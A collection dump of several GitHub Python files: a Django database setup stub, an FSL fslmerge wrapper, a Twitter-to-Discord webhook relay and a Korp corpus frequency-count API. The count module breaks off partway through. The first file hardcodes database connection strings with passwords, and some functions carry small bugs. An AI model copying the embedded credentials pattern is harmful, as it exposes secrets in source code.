\"postgresql://postgres:Yipyapyop1@localhost:5432\"\nvictorhoststr = \"postgresql://postgres:3574128960%40Az@localhost:5432/CSI2132_DB\"\n\nconnection_string = env(\"DATABASE_URL\") # set this to the database string\nif not connection_string.startswith(\"postgresql\"):\n parts = connection_string.split(\"//\")\n parts.pop(0)\n parts.insert(0, \"postgresql://\")\n connection_string = ''.join(parts)\n\ndef connect_to_database(connection_str: str):\n engine = create_engine(connection_str)\n engine.connect()\n print(\"connected to database\")\n return engine\n\n\ndef get_engine() -> sqlalchemy.engine.Engine:\n config = apps.get_app_config(\"dentistapp\");\n return config.get_engine()\n","repo_name":"m9p909/CSI2132-Class-Project","sub_path":"dentistapp/dentistapp/setup_database.py","file_name":"setup_database.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22187374778","text":"import os\nimport sys\nimport time\nimport logging\nfrom .. import commons\nimport pylib.fun as fun\n\nlogger = logging.getLogger(__name__)\nthis = sys.modules[__name__]\n\ndef get(version):\n return commons.get(this, \"fslmerge\", version)\n\ndef fslmerge_342e312e37(input, output, **kwargs):\n '''\n FSL v4.0.3 merge tool\n '''\n fslmerge = fun.which(\"fslmerge\")\n if not fslmerge:\n raise commons.CommandNotFoundError(\"could not find fslmerge\")\n output = str(output)\n cmd = [\"fslmerge\"]\n if \"axis\" in kwargs:\n if kwargs[\"axis\"] == commons.Axis.X:\n cmd.append(\"-x\")\n elif kwargs[\"axis\"] == commons.Axis.Y:\n cmd.append(\"-y\")\n elif kwargs[\"axis\"] == commons.Axis.Z:\n cmd.append(\"-z\")\n elif kwargs[\"axis\"] == commons.Axis.T:\n cmd.append(\"-t\")\n else:\n raise commons.APIError(\"axis argument required\")\n cmd.append(output)\n cmd.extend(input)\n cwd = os.getcwd()\n tic = time.time()\n fun.execute(cmd, kill=True)\n toc = time.time()\n if not os.path.exists(output):\n raise commons.SubprocessError(cmd)\n provenance = commons.provenance(fslmerge, cmd, cwd, tic, toc)\n return summary,provenance\n\n","repo_name":"bragalab/boldqc","sub_path":"boldqc2-master/boldqc2/fsl/fslmerge.py","file_name":"fslmerge.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34833793679","text":"import threading\n\nimport requests.exceptions\nimport tweepy\nimport time\nimport queue\nimport logging\n\nimport TwitterFollowers\n\nDEFAULT_WEBHOOK_VALUE_IN_TEXT = TwitterFollowers.REPLACE_WEBHOOK_LINE\nlogging.basicConfig(filename='app.log', level=logging.INFO)\n\n\n# Posts to Discord. The\ndef discordWebhook(tweet, un, aURL, twitter_dict: dict, twitterID):\n from discord_webhook import DiscordWebhook\n valueInDict = list(twitter_dict.get(twitterID))\n\n try:\n if valueInDict[0] != DEFAULT_WEBHOOK_VALUE_IN_TEXT or valueInDict[0] != \"IGNORE\":\n webhook = DiscordWebhook(url=valueInDict, rate_limit_retry=True, content=tweet, username=un,\n avatar_url=aURL)\n webhook.execute()\n time.sleep(1)\n except requests.exceptions.MissingSchema:\n print(\"Invalid Webhook URL at \" + un + \"! \\n Please update. Setting \" + twitterID + \" to ignore.\")\n twitter_dict.update({twitterID: \"IGNORE\"})\n # new_dict = twitter_dict.copy()\n # new_dict.pop(twitterID)\n # Queue.setDict(new_dict)\n\n\nclass Queue:\n def __init__(self, twitter_dict: dict, tweeter: tweepy.API):\n self.twitter_dict = twitter_dict\n self.statusQueue = queue.Queue(maxsize=0)\n self.tweeter = tweeter\n\n def setDict(self, new_dict):\n self.twitter_dict = new_dict\n\n def beginThread(self):\n queueThread = threading.Thread(target=self.checkStatusThenPost)\n queueThread.daemon = True\n queueThread.start()\n\n def checkStatusThenPost(self):\n currentStatus = None\n is_not_original_tweet = False\n while True:\n if self.statusQueue.empty():\n time.sleep(5)\n else:\n currentStatus = self.statusQueue.get()\n # Check to see if Truncated. If it is, get the extended version...\n if currentStatus.truncated:\n currentStatus = self.tweeter.get_status(currentStatus.id, tweet_mode='extended')\n if hasattr(currentStatus, \"retweeted_status\") or hasattr(currentStatus,\n \"quoted_status\") or currentStatus.in_reply_to_screen_name != None:\n is_not_original_tweet = True\n # if status.user.id_str == userID and not is_retweet:\n elif not is_not_original_tweet and 'media' in currentStatus.entities:\n print(currentStatus.created_at)\n print(currentStatus.user.screen_name)\n # Extended tweets replace text attribute with full_text. If the original status was truncated,\n # catch it and post the proper attribute.\n try:\n print(currentStatus.text)\n except AttributeError:\n print(currentStatus.full_text)\n print(\"<<<_______________>>>\")\n discordWebhook(\n 'https://twitter.com/' + currentStatus.user.screen_name + '/status/' + currentStatus.id_str,\n currentStatus.user.screen_name, currentStatus.user.profile_image_url,\n self.twitter_dict, currentStatus.user.id_str)\n is_not_original_tweet = False\n","repo_name":"RuneyR/Multi-Tweet2Discord","sub_path":"Queue.py","file_name":"Queue.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24704501834","text":"import itertools\nfrom collections import defaultdict\nfrom concurrent import futures\nfrom concurrent.futures import ThreadPoolExecutor\n\nfrom dateutil.relativedelta import relativedelta\nfrom flask import Blueprint\nfrom flask import current_app as app\nfrom pymemcache.exceptions import MemcacheError\n\nfrom korp import utils\nfrom korp.cwb import cwb\nfrom korp.memcached import memcached\nfrom . import info, timespan\n\nbp = Blueprint(\"count\", __name__)\n\n\n@bp.route(\"/count\", methods=[\"GET\", \"POST\"])\n@utils.main_handler\n@utils.prevent_timeout\ndef count(args, abort_event=None):\n \"\"\"Perform a CQP query and return a count of the given words/attributes.\"\"\"\n utils.assert_key(\"cqp\", args, r\"\", True)\n utils.assert_key(\"corpus\", args, utils.IS_IDENT, True)\n utils.assert_key(\"group_by\", args, utils.IS_IDENT, False)\n utils.assert_key(\"group_by_struct\", args, utils.IS_IDENT, False)\n utils.assert_key(\"cut\", args, utils.IS_NUMBER)\n utils.assert_key(\"ignore_case\", args, utils.IS_IDENT)\n utils.assert_key(\"incremental\", args, r\"(true|false)\")\n\n incremental = utils.parse_bool(args, \"incremental\", False)\n\n corpora = utils.parse_corpora(args)\n utils.check_authorization(corpora)\n\n group_by = args.get(\"group_by\") or []\n if isinstance(group_by, str):\n group_by = sorted(set(group_by.split(utils.QUERY_DELIM)))\n\n group_by_struct = args.get(\"group_by_struct\") or []\n if isinstance(group_by_struct, str):\n group_by_struct = sorted(set(group_by_struct.split(utils.QUERY_DELIM)))\n\n if not group_by and not group_by_struct:\n group_by = [\"word\"]\n\n group_by = [(g, False) for g in group_by] + [(g, True) for g in group_by_struct]\n\n ignore_case = args.get(\"ignore_case\") or []\n if isinstance(ignore_case, str):\n ignore_case = ignore_case.split(utils.QUERY_DELIM)\n ignore_case = set(ignore_case)\n\n within = utils.parse_within(args)\n\n relative_to_struct = args.get(\"relative_to_struct\") or []\n if isinstance(relative_to_struct, str):\n relative_to_struct = sorted(set(relative_to_struct.split(utils.QUERY_DELIM)))\n assert all(r in group_by_struct for r in\n relative_to_struct), \"All 'relative_to_struct' values also need to be present in 'group_by_struct'.\"\n\n relative_to = [(r, True) for r in relative_to_struct]\n\n start = int(args.get(\"start\") or 0)\n end = int(args.get(\"end\") or -1)\n\n split = args.get(\"split\") or []\n if isinstance(split, str):\n split = split.split(utils.QUERY_DELIM)\n\n strip_pointer = args.get(\"strip_pointer\", \"\")\n if isinstance(strip_pointer, str):\n strip_pointer = strip_pointer.split(utils.QUERY_DELIM)\n\n top = args.get(\"top\", \"\")\n if isinstance(top, str):\n if \":\" in top:\n top = dict((x.split(\":\")[0], int(x.split(\":\")[1])) for x in top.split(utils.QUERY_DELIM))\n else:\n top = dict((x, 1) for x in top.split(utils.QUERY_DELIM))\n\n expand_prequeries = utils.parse_bool(args, \"expand_prequeries\", True)\n\n # Sort numbered CQP-queries numerically\n cqp, subcqp = utils.parse_cqp_subcqp(args)\n\n if len(cqp) > 1 and expand_prequeries and not all(within[c] for c in corpora):\n raise ValueError(\"Multiple CQP queries requires 'within' or 'expand_prequeries=false'\")\n\n if subcqp:\n cqp.append(subcqp)\n\n simple = utils.parse_bool(args, \"simple\", False)\n\n if cqp == [\"[]\"]:\n simple = True\n\n result = {\"corpora\": {}}\n debug = {}\n zero_hits = []\n read_from_cache = 0\n\n if args[\"cache\"]:\n # Use cache to skip corpora with zero hits\n memcached_keys = {}\n with memcached.get_client() as mc:\n cache_prefixes = utils.cache_prefix(mc, corpora)\n for corpus in corpora:\n corpus_checksum = utils.get_hash((cqp,\n group_by,\n within[corpus],\n sorted(ignore_case),\n expand_prequeries))\n memcached_keys[\"%s:count_size_%s\" % (cache_prefixes[corpus], corpus_checksum)] = corpus\n\n cached_size = mc.get_many(memcached_keys.keys())\n for key in cached_size:\n nr_hits = cached_size[key][0]\n read_from_cache += 1\n if nr_hits == 0:\n zero_hits.append(memcached_keys[key])\n\n if \"debug\" in args:\n debug[\"cache_coverage\"] = \"%d/%d\" % (read_from_cache, len(corpora))\n\n total_stats = [{\"rows\": defaultdict(lambda: {\"absolute\": 0, \"relative\": 0.0}),\n \"sums\": {\"absolute\": 0, \"relative\": 0.0}} for _ in range(len(subcqp) + 1)]\n\n ns = utils.Namespace() # To make variables writable from nested functions\n ns.total_size = 0\n\n if relative_to:\n relative_args = {\n \"cqp\": \"[]\",\n \"corpus\": args.get(\"corpus\"),\n \"group_by_struct\": relative_to_struct,\n \"split\": split\n }\n\n relative_to_result = utils.generator_to_dict(count(relative_args))\n relative_to_freqs = {\"combined\": {}, \"corpora\": defaultdict(dict)}\n\n for row in relative_to_result[\"combined\"][\"rows\"]:\n relative_to_freqs[\"combined\"][tuple(v for k, v in sorted(row[\"value\"].items()))] = row[\"absolute\"]\n\n for corpus in relative_to_result[\"corpora\"]:\n for row in relative_to_result[\"corpora\"][corpus][\"rows\"]:\n relative_to_freqs[\"corpora\"][corpus][tuple(v for k, v in sorted(row[\"value\"].items()))] = row[\n \"absolute\"]\n\n count_function = count_query_worker if not simple else count_query_worker_simple\n\n ns.progress_count = 0\n if incremental:\n yield {\"progress_corpora\": list(c for c in corpora if c not in zero_hits)}\n\n for corpus in zero_hits:\n result[\"corpora\"][corpus] = [{\"rows\": {},\n \"sums\": {\"absolute\": 0, \"relative\": 0.0}} for _ in range(len(subcqp) + 1)]\n for i in range(len(subcqp)):\n result[\"corpora\"][corpus][i + 1][\"cqp\"] = subcqp[i]\n\n if abort_event and abort_event.is_set():\n return\n\n with ThreadPoolExecutor(max_workers=app.config[\"PARALLEL_THREADS\"]) as executor:\n future_query = dict((executor.submit(count_function, corpus=corpus, cqp=cqp, group_by=group_by,\n within=within[corpus], ignore_case=ignore_case,\n expand_prequeries=expand_prequeries,\n use_cache=args[\"cache\"], cache_max=app.config[\"CACHE_MAX_STATS\"],\n abort_event=abort_event), corpus)\n for corpus in corpora if corpus not in zero_hits)\n\n for future in futures.as_completed(future_query):\n if abort_event and abort_event.is_set():\n for f in future_query:\n f.cancel()\n return\n corpus = future_query[future]\n if future.exception() is not None:\n raise utils.CQPError(future.exception())\n else:\n lines, nr_hits, corpus_size = future.result()\n\n ns.total_size += corpus_size\n corpus_stats = [{\"rows\": defaultdict(lambda: {\"absolute\": 0, \"relative\": 0.0}),\n \"sums\": {\"absolute\": 0, \"relative\": 0.0}} for _ in range(len(subcqp) + 1)]\n\n query_no = 0\n for line in lines:\n if line == utils.END_OF_LINE:\n # EOL means the start of a new subcqp result\n query_no += 1\n if subcqp:\n corpus_stats[query_no][\"cqp\"] = subcqp[query_no - 1]\n continue\n freq, ngram = line.lstrip().split(\" \", 1)\n\n if len(group_by) > 1:\n ngram_groups = ngram.split(\"\\t\")\n else:\n ngram_groups = [ngram]\n\n all_ngrams = []\n relative_to_pos = []\n\n for i, ngram in enumerate(ngram_groups):\n # Split value sets and treat each value as a hit\n if group_by[i][0] in split:\n tokens = [t + \"|\" for t in ngram.split(\n \"| \")] # We can't split on just space due to spaces in annotations\n tokens[-1] = tokens[-1][:-1]\n if group_by[i][0] in top:\n split_tokens = [[x for x in token.split(\"|\") if x][:top[group_by[i][0]]]\n if not token == \"|\" else [\"\"] for token in tokens]\n else:\n split_tokens = [[x for x in token.split(\"|\") if x] if not token == \"|\" else [\"\"]\n for token in tokens]\n ngrams = itertools.product(*split_tokens)\n ngrams = tuple(x for x in ngrams)\n else:\n if not group_by[i][1]:\n ngrams = (tuple(ngram.split(\" \")),)\n else:\n ngrams = (ngram,)\n\n # Remove multi-word pointers\n if group_by[i][0] in strip_pointer:\n for j in range(len(ngrams)):\n for k in range(len(ngrams[j])):\n if \":\" in ngrams[j][k]:\n ngramtemp, pointer = ngrams[j][k].rsplit(\":\", 1)\n if pointer.isnumeric():\n ngrams[j][k] = ngramtemp\n\n all_ngrams.append(ngrams)\n\n if relative_to and group_by[i] in relative_to:\n relative_to_pos.append(i)\n\n cross = list(itertools.product(*all_ngrams))\n\n for ngram in cross:\n corpus_stats[query_no][\"rows\"][ngram][\"absolute\"] += int(freq)\n corpus_stats[query_no][\"sums\"][\"absolute\"] += int(freq)\n total_stats[query_no][\"rows\"][ngram][\"absolute\"] += int(freq)\n total_stats[query_no][\"sums\"][\"absolute\"] += int(freq)\n\n if relative_to:\n relativeto_ngram = tuple(ngram[pos] for pos in relative_to_pos)\n corpus_stats[query_no][\"rows\"][ngram][\"relative\"] += int(freq) / float(\n relative_to_freqs[\"corpora\"][corpus][relativeto_ngram]) * 1000000\n corpus_stats[query_no][\"sums\"][\"relative\"] += int(freq) / float(\n relative_to_freqs[\"corpora\"][corpus][relativeto_ngram]) * 1000000\n total_stats[query_no][\"rows\"][ngram][\"relative\"] += int(freq) / float(\n relative_to_freqs[\"combined\"][relativeto_ngram]) * 1000000\n else:\n corpus_stats[query_no][\"rows\"][ngram][\"relative\"] += int(freq) / float(\n corpus_size) * 1000000\n corpus_stats[query_no][\"sums\"][\"relative\"] += int(freq) / float(corpus_size) * 1000000\n\n result[\"corpora\"][corpus] = corpus_stats\n\n if incremental:\n yield {\"progress_%d\" % ns.progress_count: corpus}\n ns.progress_count += 1\n\n result[\"count\"] = len(total_stats[0][\"rows\"])\n\n if abort_event and abort_event.is_set():\n return\n\n # Calculate relative numbers for the total\n for query_no in range(len(subcqp) + 1):\n if end > -1 and (start > 0 or len(total_stats[0][\"rows\"]) > (end - start) + 1):\n # Only a selected range of results requested\n total_stats[query_no][\"rows\"] = dict(\n sorted(total_stats[query_no][\"rows\"].items(), key=lambda x: x[1][\"absolute\"],\n reverse=True)[start:end + 1])\n\n for corpus in corpora:\n result[\"corpora\"][corpus][query_no][\"rows\"] = {k: v for k, v in result[\"corpora\"][corpus][query_no][\n \"rows\"].items() if k in total_stats[query_no][\"rows\"]}\n\n if not relative_to:\n for ngram, vals in total_stats[query_no][\"rows\"].items():\n total_stats[query_no][\"rows\"][ngram][\"relative\"] = vals[\"absolute\"] / float(ns.total_size) * 1000000\n\n for corpus in corpora:\n new_list = []\n for ngram, vals in result[\"corpora\"][corpus][query_no][\"rows\"].items():\n row = {\"value\": {key[0]: ngram[i] for i, key in enumerate(group_by)}}\n row.update(vals)\n new_list.append(row)\n result[\"corpora\"][corpus][query_no][\"rows\"] = new_list\n\n total_stats[query_no][\"sums\"][\"relative\"] = (total_stats[query_no][\"sums\"][\"absolute\"] / float(ns.total_size)\n * 1000000 if ns.total_size > 0 else 0.0)\n\n if subcqp and query_no > 0:\n total_stats[query_no][\"cqp\"] = subcqp[query_no - 1]\n\n new_list = []\n for ngram, vals in total_stats[query_no][\"rows\"].items():\n row = {\"value\": dict((key[0], ngram[i]) for i, key in enumerate(group_by))}\n row.update(vals)\n new_list.append(row)\n total_stats[query_no][\"rows\"] = new_list\n\n result[\"combined\"] = total_stats if len(total_stats) > 1 else total_stats[0]\n\n if not subcqp:\n for corpus in corpora:\n result[\"corpora\"][corpus] = result[\"corpora\"][corpus][0]\n\n if \"debug\" in args:\n debug.update({\"cqp\": cqp, \"simple\": simple})\n result[\"DEBUG\"] = debug\n\n yield result\n\n\n@bp.route(\"/count_all\", methods=[\"GET\", \"POST\"])\n@utils.main_handler\n@utils.prevent_timeout\ndef count_all(args):\n \"\"\"Like /count but for every single value of the given attributes.\"\"\"\n utils.assert_key(\"corpus\", args, utils.IS_IDENT, True)\n utils.assert_key((\"group_by\", \"group_by_struct\"), args, utils.IS_IDENT, True)\n utils.assert_key(\"cut\", args, utils.IS_NUMBER)\n utils.assert_key(\"ignore_case\", args, utils.IS_IDENT)\n utils.assert_key(\"incremental\", args, r\"(true|false)\")\n\n args[\"cqp\"] = \"[]\" # Dummy value, not used\n args[\"simple\"] = \"true\"\n\n yield utils.generator_to_dict(count(args))\n\n\n@bp.route(\"/count_time\", methods=[\"GET\", \"POST\"])\n@utils.main_handler\n@utils.prevent_timeout\ndef count_time(args):\n \"\"\"Count occurrences per time period.\"\"\"\n utils.assert_key(\"cqp\", args, r\"\", True)\n utils.assert_key(\"corpus\", args, utils.IS_IDENT, True)\n utils.assert_key(\"cut\", args, utils.IS_NUMBER)\n utils.assert_key(\"incremental\", args, r\"(true|false)\")\n utils.assert_key(\"granularity\", args, r\"[ymdhnsYMDHNS]\")\n utils.assert_key(\"from\", args, r\"^\\d{14}$\")\n utils.assert_key(\"to\", args, r\"^\\d{14}$\")\n utils.assert_key(\"strategy\", args, r\"^[123]$\")\n utils.assert_key(\"combined\", args, r\"(true|false)\")\n utils.assert_key(\"per_corpus\", args, r\"(true|false)\")\n\n incremental = utils.parse_bool(args, \"incremental\", False)\n combined = utils.parse_bool(args, \"combined\", True)\n per_corpus = utils.parse_bool(args, \"per_corpus\", True)\n\n corpora = utils.parse_corpora(args)\n utils.check_authorization(corpora)\n within = utils.parse_within(args)\n expand_prequeries = utils.parse_bool(args, \"expand_prequeries\", True)\n\n # Sort numbered CQP-queries numerically\n cqp, subcqp = utils.parse_cqp_subcqp(args)\n\n if len(cqp) > 1 and expand_prequeries and not all(within[c] for c in corpora):\n raise ValueError(\"Multiple CQP queries requires 'within' or 'expand_prequeries=false'\")\n\n if subcqp:\n cqp.append(subcqp)\n granularity = (args.get(\"granularity\") or \"y\").lower()\n fromdate = args.get(\"from\", \"\")\n todate = args.get(\"to\", \"\")\n\n # Check that we have a suitable date range for the selected granularity\n df = None\n dt = None\n\n if fromdate or todate:\n if not fromdate or not todate:\n raise ValueError(\"When using 'from' or 'to', both need to be specified.\")\n\n result = {}\n if per_corpus:\n result[\"corpora\"] = {}\n if \"debug\" in args:\n result[\"DEBUG\"] = {\"cqp\": cqp}\n\n # Get date range of selected corpora\n corpus_data = utils.generator_to_dict(\n info.corpus_info({\"corpus\": utils.QUERY_DELIM.join(corpora), \"cache\": args[\"cache\"]}, no_combined_cache=True))\n corpora_copy = corpora.copy()\n\n if fromdate and todate:\n df = utils.strptime(fromdate)\n dt = utils.strptime(todate)\n\n # Remove corpora not within selected date span\n for c in corpus_data[\"corpora\"]:\n firstdate = corpus_data[\"corpora\"][c][\"info\"].get(\"FirstDate\")\n lastdate = corpus_data[\"corpora\"][c][\"info\"].get(\"LastDate\")\n if firstdate and lastdate:\n firstdate = utils.strptime(firstdate.replace(\"-\", \"\").replace(\":\", \"\").replace(\" \", \"\"))\n lastdate = utils.strptime(lastdate.replace(\"-\", \"\").replace(\":\", \"\").replace(\" \", \"\"))\n\n if not (firstdate <= dt and lastdate >= df):\n corpora.remove(c)\n else:\n # If no date range was provided, use whole date range of the selected corpora\n for c in corpus_data[\"corpora\"]:\n firstdate = corpus_data[\"corpora\"][c][\"info\"].get(\"FirstDate\")\n lastdate = corpus_data[\"corpora\"][c][\"info\"].get(\"LastDate\")\n if firstdate and lastdate:\n firstdate = utils.strptime(firstdate.replace(\"-\", \"\").replace(\":\", \"\").replace(\" \", \"\"))\n lastdate = utils.strptime(lastdate.replace(\"-\", \"\").replace(\":\", \"\").replace(\" \", \"\"))\n\n if not df or firstdate < df:\n df = firstdate\n if not dt or lastdate > dt:\n dt = lastdate\n\n if df and dt:\n maxpoints = 3600\n\n if granularity == \"y\":\n add = relativedelta(years=maxpoints)\n elif granularity == \"m\":\n add = relativedelta(months=maxpoints)\n elif granularity == \"d\":\n add = relativedelta(days=maxpoints)\n elif granularity == \"h\":\n add = relativedelta(hours=maxpoints)\n elif granularity == \"n\":\n add = relativedelta(minutes=maxpoints)\n elif granularity == \"s\":\n add = relativedelta(seconds=maxpoints)\n\n if dt > (df + add):\n raise ValueError(\"The date range is too large for the selected granularity. \"\n \"Use 'to' and 'from' to limit the range.\")\n\n strategy = int(args.get(\"strategy\") or 1)\n\n if granularity in \"hns\":\n group_by = [(v, True) for v in (\"text_datefrom\", \"text_timefrom\", \"text_dateto\", \"text_timeto\")]\n else:\n group_by = [(v, True) for v in (\"text_datefrom\", \"text_dateto\")]\n\n if per_corpus:\n # Add zero values for the corpora we removed because of the selected date span\n for corpus in set(corpora_copy).difference(set(corpora)):\n result[\"corpora\"][corpus] = [{\"absolute\": 0, \"relative\": 0.0, \"sums\": {\"absolute\": 0, \"relative\": 0.0}}\n for _ in range(len(subcqp) + 1)]\n for i, c in enumerate(result[\"corpora\"][corpus][1:]):\n c[\"cqp\"] = subcqp[i]\n\n if not subcqp:\n result[\"corpora\"][corpus] = result[\"corpora\"][corpus][0]\n\n # Add zero values for the combined results if no corpora are within the selected date span\n if combined and not corpora:\n result[\"combined\"] = [{\"absolute\": 0, \"relative\": 0.0, \"sums\": {\"absolute\": 0, \"relative\": 0.0}}\n for _ in range(len(subcqp) + 1)]\n for i, c in enumerate(result[\"combined\"][1:]):\n c[\"cqp\"] = subcqp[i]\n\n if not subcqp:\n result[\"combined\"] = result[\"combined\"][0]\n\n yield result\n return\n\n corpora_sizes = {}\n\n ns = utils.Namespace()\n total_rows = [[] for _ in range(len(subcqp) + 1)]\n ns.total_size = 0\n\n ns.progress_count = 0\n if incremental:\n yield {\"progress_corpora\": corpora}\n\n with ThreadPoolExecutor(max_workers=app.config[\"PARALLEL_THREADS\"]) as executor:\n future_query = dict((executor.submit(count_query_worker, corpus=corpus, cqp=cqp, group_by=group_by,\n within=within[corpus],\n expand_prequeries=expand_prequeries,\n use_cache=args[\"cache\"], cache_max=app.config[\"CACHE_MAX_STATS\"]), corpus)\n for corpus in corpora)\n\n for future in futures.as_completed(future_query):\n corpus = future_query[future]\n if future.exception() is not None:\n if \"Can't find attribute ``text_datefrom''\" not in str(future.exception()):\n raise utils.CQPError(future.exception())\n else:\n lines, _, corpus_size = future.result()\n\n corpora_sizes[corpus] = corpus_size\n ns.total_size += corpus_size\n\n query_no = 0\n for line in lines:\n if line == utils.END_OF_LINE:\n query_no += 1\n continue\n count, values = line.lstrip().split(\" \", 1)\n values = values.strip(\" \")\n if granularity in \"hns\":\n datefrom, timefrom, dateto, timeto = values.split(\"\\t\")\n # Only use the value from the first token\n timefrom = timefrom.split(\" \")[0]\n timeto = timeto.split(\" \")[0]\n else:\n datefrom, dateto = values.split(\"\\t\")\n timefrom = \"\"\n timeto = \"\"\n\n # Only use the value from the first token\n datefrom = datefrom.split(\" \")[0]\n dateto = dateto.split(\" \")[0]\n\n total_rows[query_no].append({\"corpus\": corpus, \"df\": datefrom + timefrom, \"dt\": dateto + timeto,\n \"sum\": int(count)})\n\n if incremental:\n yield {\"progress_%d\" % ns.progress_count: corpus}\n ns.progress_count += 1\n\n corpus_timedata = utils.generator_to_dict(\n timespan.timespan({\"corpus\": corpora, \"granularity\": granularity, \"from\": fromdate,\n \"to\": todate, \"strategy\": str(strategy), \"cache\": args[\"cache\"]},\n no_combined_cache=True))\n search_timedata = []\n search_timedata_combined = []\n for total_row in total_rows:\n temp = timespan.timespan_calculator(total_row, granularity=granularity, strategy=strategy)\n if per_corpus:\n search_timedata.append(temp[\"corpora\"])\n if combined:\n search_timedata_combined.append(temp[\"combined\"])\n\n if per_corpus:\n for corpus in corpora:\n corpus_stats = [{\"absolute\": defaultdict(int),\n \"relative\": defaultdict(float),\n \"sums\": {\"absolute\": 0, \"relative\": 0.0}} for _ in range(len(subcqp) + 1)]\n\n basedates = dict([(date, None if corpus_timedata[\"corpora\"][corpus][date] == 0 else 0)\n for date in corpus_timedata[\"corpora\"].get(corpus, {})])\n\n for i, s in enumerate(search_timedata):\n prevdate = None\n for basedate in sorted(basedates):\n if not basedates[basedate] == prevdate:\n corpus_stats[i][\"absolute\"][basedate] = basedates[basedate]\n corpus_stats[i][\"relative\"][basedate] = basedates[basedate]\n prevdate = basedates[basedate]\n\n for row in s.get(corpus, {}).items():\n date, count = row\n corpus_date_size = float(corpus_timedata[\"corpora\"].get(corpus, {}).get(date, 0))\n if corpus_date_size > 0.0:\n corpus_stats[i][\"absolute\"][date] += count\n corpus_stats[i][\"relative\"][date] += (count / corpus_date_size * 1000000)\n corpus_stats[i][\"sums\"][\"absolute\"] += count\n corpus_stats[i][\"sums\"][\"relative\"] += (count / corpus_date_size * 1000000)\n\n if subcqp and i > 0:\n corpus_stats[i][\"cqp\"] = subcqp[i - 1]\n\n result[\"corpora\"][corpus] = corpus_stats if len(corpus_stats) > 1 else corpus_stats[0]\n\n if combined:\n total_stats = [{\"absolute\": defaultdict(int),\n \"relative\": defaultdict(float),\n \"sums\": {\"absolute\": 0, \"relative\": 0.0}} for _ in range(len(subcqp) + 1)]\n\n basedates = dict([(date, None if corpus_timedata[\"combined\"][date] == 0 else 0)\n for date in corpus_timedata.get(\"combined\", {})])\n\n for i, s in enumerate(search_timedata_combined):\n prevdate = None\n for basedate in sorted(basedates):\n if not basedates[basedate] == prevdate:\n total_stats[i][\"absolute\"][basedate] = basedates[basedate]\n total_stats[i][\"relative\"][basedate] = basedates[basedate]\n prevdate = basedates[basedate]\n\n if s:\n for row in s.items():\n date, count = row\n combined_date_size = float(corpus_timedata[\"combined\"].get(date, 0))\n if combined_date_size > 0.0:\n total_stats[i][\"absolute\"][date] += count\n total_stats[i][\"relative\"][date] += (\n count / combined_date_size * 1000000) if combined_date_size else 0\n total_stats[i][\"sums\"][\"absolute\"] += count\n\n total_stats[i][\"sums\"][\"relative\"] = total_stats[i][\"sums\"][\"absolute\"] / float(\n ns.total_size) * 1000000 if ns.total_size > 0 else 0.0\n if subcqp and i > 0:\n total_stats[i][\"cqp\"] = subcqp[i - 1]\n\n result[\"combined\"] = total_stats if len(total_stats) > 1 else total_stats[0]\n\n yield result\n\n\ndef count_query_worker(corpus, cqp, group_by, within, ignore_case=(), cut=None, expand_prequeries=True,\n use_cache=False, cache_max=0, abort_event=None):\n fullcqp = cqp\n subcqp = None\n if isinstance(cqp[-1], list):\n subcqp = cqp[-1]\n cqp = cqp[:-1]\n\n if use_cache:\n checksum = utils.get_hash((fullcqp,\n group_by,\n within,\n sorted(ignore_case),\n expand_prequeries))\n\n with memcached.get_client() as mc:\n prefix = utils.cache_prefix(mc, corpus)\n cache_key = \"%s:count_data_%s\" % (prefix, checksum)\n cache_size_key = \"%s:count_size_%s\" % (prefix, checksum)\n\n cached_size = mc.get(cache_size_key)\n if cached_size is not None:\n corpus_hits, corpus_size = cached_size\n if corpus_hits == 0:\n return [utils.END_OF_LINE] * len(subcqp) if subcqp else [], corpus_hits, corpus_size\n\n cached_result = mc.get(cache_key)\n if cached_result is not None:\n return cached_result, corpus_hits, corpus_size\n\n do_optimize = True\n cqpparams = {\"within\": within,\n \"cut\": cut}\n\n cmd = [\"%s;\" % corpus]\n for i, c in enumerate(cqp):\n cqpparams_temp = cqpparams.copy()\n pre_query = i + 1 < len(cqp)\n\n if pre_query and expand_prequeries:\n cqpparams_temp[\"expand\"] = \"to \" + cqpparams[\"within\"]\n\n if do_optimize:\n cmd += utils.query_optimize(c, cqpparams_temp, find_match=(not pre_query))[1]\n else:\n cmd += utils.make_query(utils.make_cqp(c, **cqpparams_temp))\n\n if pre_query:\n cmd += [\"Last;\"]\n\n cmd += [\"size Last;\"]\n cmd += [\"info; .EOL.;\"]\n\n # TODO: Match targets in a better way\n has_target = any(\"@[\" in x for x in cqp)\n\n cmd += [\"\"\"tabulate Last %s > \"| sort | uniq -c | sort -nr\";\"\"\" % \", \".join(\"%s %s%s\" % (\n \"target\" if has_target else (\"match\" if g[1] else \"match .. matchend\"), g[0],\n \" %c\" if g[0] in ignore_case else \"\") for g in group_by)]\n\n if subcqp:\n cmd += [\"mainresult=Last;\"]\n if \"expand\" in cqpparams_temp:\n del cqpparams_temp[\"expand\"]\n for c in subcqp:\n cmd += [\".EOL.;\"]\n cmd += [\"mainresult;\"]\n cmd += utils.query_optimize(c, cqpparams_temp, find_match=True)[1]\n cmd += [\"\"\"tabulate Last %s > \"| sort | uniq -c | sort -nr\";\"\"\" % \", \".join(\n \"match .. matchend %s\" % g[0] for g in group_by)]\n\n cmd += [\"exit;\"]\n\n lines = cwb.run_cqp(cmd, abort_event=abort_event)\n\n # Skip CQP version\n next(lines)\n\n # Size of the query result\n nr_hits = int(next(lines))\n\n # Get corpus size\n for line in lines:\n if line.startswith(\"Size:\"):\n _, corpus_size = line.split(\":\")\n corpus_size = int(corpus_size.strip())\n elif line == utils.END_OF_LINE:\n break\n\n if use_cache:\n lines = list(lines)\n with memcached.get_client() as mc:\n mc.add(cache_size_key, (nr_hits, corpus_size))\n\n # Only save actual data if number of lines doesn't exceed the limit\n if len(lines) <= cache_max:\n lines = tuple(lines)\n try:\n mc.add(cache_key, lines)\n except MemcacheError:\n pass\n\n return lines, nr_hits, corpus_size\n\n\ndef count_query_worker_simple(corpus, cqp, group_by, within=None, ignore_case=(), expand_prequeries=True,\n use_cache=False, cache_max=0, abort_event=None):\n \"\"\"Worker for simple statistics queries which can be run using 